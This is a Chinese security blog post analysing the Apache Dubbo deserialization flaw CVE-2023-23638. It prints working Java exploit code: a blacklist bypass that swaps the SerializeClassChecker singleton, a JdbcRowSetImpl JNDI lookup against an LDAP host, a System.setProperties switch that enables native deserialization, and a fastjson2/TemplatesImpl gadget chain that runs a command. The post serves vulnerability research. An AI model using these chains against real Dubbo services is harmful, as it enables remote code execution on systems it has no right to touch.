Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
2023-4-8 18:51:0 Author: xz.aliyun.com(查看原文) 阅读量:187 收藏

在对Apache dubbo 的CVE-2023-23638漏洞分析的过程中,通过对师傅们对这个漏洞的学习和整理,再结合了一些新学的技巧运用,从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及遇到问题并解决问题的过程,我觉得值得分享,所以写下此文记录。

Apache Dubbo 是一款易用、高性能的WEB 和RPC 框架,同时为构建企业级微服务提供服务发现、流量治理、可观测、认证鉴权等能力、工具与最佳实践。

该漏洞核心原理是利用dubbo的泛化调用功能,反序列化任意类,从而造成反序列化攻击。这个漏洞影响Apache Dubbo 2.7.x,2.7.21及之前版本; Apache Dubbo 3.0.x 版本,3.0.13 及之前版本; Apache Dubbo 3.1.x 版本,3.1.5 及之前的版本。

在普通的Dubbo方法调用过程中,客户端需要环境中存在被调用类的接口,才能正常继续调用。泛化调用则是指在客户端在没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。 详细的泛化调用说明可以见:https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

既然是泛化调用,那就代表用户可以在Dubbo服务端传入任意类。也正是因为这个功能,给Dubbo带来了一些漏洞,在CVE-2021-30179中,由于这个功能没有对传入的类做任何的限制,导致攻击者可以通过传入恶意的类,并调用其特定方法,导致代码执行。后续Dubbo在代码层面对传入的类进行了限制,从而防御攻击者传入恶意的类进行RCE,而这个防御,在CVE-2023-23638中被绕过,也就是本篇文章所要讲述的内容。

Dubbo处理泛化调用请求的核心类是org.apache.dubbo.rpc.filter.GenericFilter,在这个filter的invoke方法中,对客户端的调用进行了判断,同时根据服务端的配置进入不同的反序列化逻辑。用户进行泛化调用时可以传入一个hashmap,当map中存在generic-raw.return这组键值对时,GenericFilter就会进入PojoUtils.realize()方法,把用户传入的类进行实例化,并对实例化后对象的属性进行赋值。

CVE-2021-30179的补丁打在了类初始化的时候:

else if (pojo instanceof Map && type != null) {
  Object className = ((Map)pojo).get("class");
  if (className instanceof String) {
      SerializeClassChecker.getInstance().validateClass((String)className);
      if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
          try {
              type = ClassUtils.forName((String)className);
          } catch (ClassNotFoundException var22) {
              CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
          }
      }
  }

通过调用SerializeClassChecker.getInstance().validateClass((String)className);对传入的类进行黑名单过滤,过滤结束后使用ClassUtils.forName((String)className);获取类,后续会调用class.newInstance()进行类的实例化,最后通过如下代码进行对象的属性赋值:

if (value != null) {
    Method method = getSetterMethod(dest.getClass(), name, value.getClass());
    Field field = getField(dest.getClass(), name);
    if (method != null) {
        if (!method.isAccessible()) {
            method.setAccessible(true);
        }

        Type ptype = method.getGenericParameterTypes()[0];
        value = realize0(value, method.getParameterTypes()[0], ptype, history);

        try {
            method.invoke(dest, value);
        } catch (Exception var20) {
            String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name + " value " + value.getClass() + ", cause: " + var20.getMessage();
            logger.error("0-8", "", "", exceptionDescription, var20);
            throw new RuntimeException(exceptionDescription, var20);
        }
    } else if (field != null) {
        value = realize0(value, field.getType(), field.getGenericType(), history);

        try {
            field.set(dest, value);
        } catch (IllegalAccessException var19) {
            throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + var19.getMessage(), var19);
        }
    }
}

程序会先尝试先获取类属性的set方法,如果目标类存在这个set方法,那么会利用method.invoke进行执行。如果没有set方法,那么会通过反射获取类的目标属性,然后调用field.set进行赋值。

也就是说,泛化调用对于用户提供了如下的代码执行点:

我们可以传入任意的非黑名单类,然后调用这个类的public或者private无参构造方法,然后可以调用这个生成的Object的任意set+METHOD_NAME方法,要求参数有且仅有一个,或者利用object.field.set方法对这个object的任意属性赋值。

这个漏洞存在两种利用方式,对应了dubbo提供的两种赋值的方法。

利用方式1

利用object.field.set进行利用。

Dubbo在泛化调用中,对传入类进行黑名单过滤的具体代码在org.apache.dubbo.common.utils.PojoUtils#realize0,使用SerializeClassChecker的validateClass方法进行过滤。

Object className = ((Map)pojo).get("class");
if (className instanceof String) {
    SerializeClassChecker.getInstance().validateClass((String)className);
    if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
        try {
            type = ClassUtils.forName((String)className);
        } catch (ClassNotFoundException var22) {
            CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
        }
    }
}

validateClass方法内容如下:

public boolean validateClass(String name, boolean failOnError) {
    if (!this.OPEN_CHECK_CLASS) {
        return true;
    } else {
      ...

这个方法首先会对SerializeClassChecker的OPEN_CHECK_CLASS属性进行判断,如果这个属性为false,那么就不会对传入类进行检查,直接返回。再看getInstance方法:

public static SerializeClassChecker getInstance() {
    if (INSTANCE == null) {
        Class var0 = SerializeClassChecker.class;
        synchronized(SerializeClassChecker.class) {
            if (INSTANCE == null) {
                INSTANCE = new SerializeClassChecker();
            }
        }
    }

    return INSTANCE;
}

这是一个典型的单例模式的写法。因此如果我们可以替换掉这个INSTANCE对象,将它的OPEN_CHECK_CLASS属性置为false,那么就可以绕过黑名单类的检查,之后就可以使用类似CVE-2021-30179的POC进行代码执行。核心代码如下:

private static Map getInstance() throws IOException {
    HashMap newChecker = new HashMap();
    newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
    newChecker.put("OPEN_CHECK_CLASS", false);
    HashMap map = new HashMap();
    map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
    map.put("INSTANCE", newChecker);
    LinkedHashMap map2 = new LinkedHashMap();
    map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
    map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
    map2.put("autoCommit", true);
    HashMap map3 = new HashMap();
    map3.put("class","java.util.HashMap");
    map3.put("1",map);
    map3.put("2",map2);
    return map3;
}

第一个newChecker,用于创建一个OPEN_CHECK_CLASS属性值为false的SerializeClassChecker的对象,第二个map,用于将newChecker传入到SerializeClassChecker的单例INSTACNE属性中。然后第三个map2,使用类似CVE-2021-30179的POC,创建一个com.sun.rowset.JdbcRowSetImpl对象,然后dubbo会先后调用setDataSourceName和setAutoCommit,从而向我们指定的地址发起JNDI请求。需要注意这里map2需要设置为LinkedHashMap,否则在dubbo进行set调用时可能无法按照先setDataSourceName,再setAutoCommit的顺序执行。

利用方式2

利用object.set+METHOD_NAME进行利用。

dubbo在泛化调用的过程中是存在一个接口允许原生java反序列化的。但是这个接口默认不开启,同时会进行序列化的黑名单类检查。然而这个接口调用开关是可以被控制的,我们如果可以把它打开,那么这个漏洞就变成了一个原生的java反序列化漏洞,利用特定的gadget就可以RCE。在https://xz.aliyun.com/t/12333#toc-5中,师傅提到了可以使用org.apache.dubbo.common.utils.ConfigUtils类,它存在一个setProperties方法,可以对PROPERTIES对象进行赋值,从而控制开关。但是我发现org.apache.dubbo.common.utils.ConfigUtils的setProperties方法只在2.7.x版本的dubbo存在,3.0.x和3.1.x都是没有的。那有没有什么通用的方法呢?事实上,Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法,传入修改后的dubbo配置。代码如下:

private static Map getProperties() throws IOException {
    Properties properties = new Properties();
    properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
    properties.setProperty("serialization.security.check","false");
    HashMap map = new HashMap();
    map.put("class", "java.lang.System");
    map.put("properties", properties);
    return map;
}

在这之后就可以使用类似如下的代码进行原生反序列化利用

out.writeObject(getEvilObject());
HashMap attachments = new HashMap();
attachments.put("generic", "nativejava");
out.writeObject(attachments);

上述两种方法,在公开的分析文章里,都存在着一些问题。方法1中最终的Sink点是JNDI注入,需要出网。方法2中最终需要依赖特定的Gadget,在之前的Dubbo的反序列化分析文章中,大家在Gadget选择时都会使用一些三方依赖进行漏洞利用,例如Rome、CommonsBeanutils1等。那Dubbo是否存在原生的Java反序列化链呢?

在Dubbo 3.1.x的版本中,新增了对Fastjson2的支持。恰好前段时间刚好看到有师傅发了fastjson库在原生Java反序列化中的利用。结论是fastjons小于1.2.48版本是可以使用,fastjson2全版本是通杀的。利用的原理是fastjson的JSONArray或者JSONObject在调用其toString方法时,会触发其包裹对象的get+METHOD_NAME方法。因此很容易想到可以包裹一个TemplatesImpl对象,通过调用其getOutputProperties方法,从而执行任意代码。

既然已经有了方法,那实现一下试试吧。关键代码如下:

public static Map getProperties() throws IOException {
    Properties properties = new Properties();
    properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
    properties.setProperty("serialization.security.check","false");
    HashMap map = new HashMap();
    map.put("class", "java.lang.System");
    map.put("properties", properties);
    return map;
}

public static Object getObject() throws Exception{
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.makeClass("a");
    CtClass superClass = pool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superClass);
    CtConstructor constructor = new CtConstructor(new CtClass[]{},
            clazz);
    constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
    clazz.addConstructor(constructor);
    byte[][] bytes = new byte[][]{clazz.toBytecode()};
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setValue(templates, "_bytecodes", bytes);
    setValue(templates, "_name", "test");
    setValue(templates, "_tfactory", null);
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);
    BadAttributeValueExpException val = new
            BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, jsonArray);

    NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
    UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
    ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);
    o.writeObject(val);

    return unsafeByteArrayOutputStream.toByteArray();
}

send(getProperties());
send(getObject());

程序先通过System.setProperties修改目标的序列化配置,然后再发送恶意的序列化代码,指定目标执行一个Calc.exe程序。结果程序报错了,报错如下:

程序最前面和预期的一样,成功执行了Java原生反序列化,但是在反序列化的过程中,fastjson2的JSONWriter\$Context的类初始化时,在TzdbZoneRulesProvider的构造函数中报错了,其构造函数如下:

public TzdbZoneRulesProvider() {
    try {
        String libDir = System.getProperty("java.home") + File.separator + "lib";
        try (DataInputStream dis = new DataInputStream(
                 new BufferedInputStream(new FileInputStream(
                     new File(libDir, "tzdb.dat"))))) {
            load(dis);
        }
    } catch (Exception ex) {
        throw new ZoneRulesException("Unable to load TZDB time-zone rules", ex);
    }
}

可以看到,这个构造函数中会调用System.getProperty("java.home"),拼接进文件读取路径,从而去读取jre路径下的tzdb.dat,这是一个IANA提供的TimeZone数据库,维护着最新最全的全球时区相关基础数据。由于我们在反序列化前替换掉了目标服务的System类的props对象,因此,这里System.getProperty("java.home")就会返回null,从而导致报错。

这个问题如何解决呢?通过观察调用链,以及动态调试,我找到了解决方法。通过在TzdbZoneRulesProvider类的构造函数打断点。

注意到TzdbZoneRulesProvider的初始化是被ZoneRulesProvider的类初始化调用的。ZoneRulesProvider的相关代码如下:

可以看到在ZoneRulesProvider类的static代码块中调用的new TzdbZoneRulesProvider()。static块的代码在程序被运行起来后,之后最多加载一次。因此如果可以让这个ZoneRulesProvider类在我们执行攻击前被加载一次,那么我们在执行攻击时就不会再加载这块代码,也就不会报错了。

有了这个方法,第一时间就想到,dubbo 的泛化调用可以初始化并newIntance类,并且TzdbZoneRulesProvider是ZoneRulesProvider的子类,ZoneRulesProvider在newIntance时初始化其弗雷,从而调用传ZoneRulesProvider类的static代码。基于这个想法,构造如下代码:

private static Map getInstance() throws IOException {
    HashMap map = new HashMap();
    map.put("class", "java.time.zone.TzdbZoneRulesProvider");
    return map;
}

private static Map getProperties() throws IOException {
    Properties properties = new Properties();
    properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
    properties.setProperty("serialization.security.check","false");
    HashMap map = new HashMap();
    map.put("class", "java.lang.System");
    map.put("properties", properties);
    return map;
}

分成两步发送,最后发送序列化poc,即可完成代码执行。


文章来源: https://xz.aliyun.com/t/12396
如有侵权请联系:admin#unsafe.sh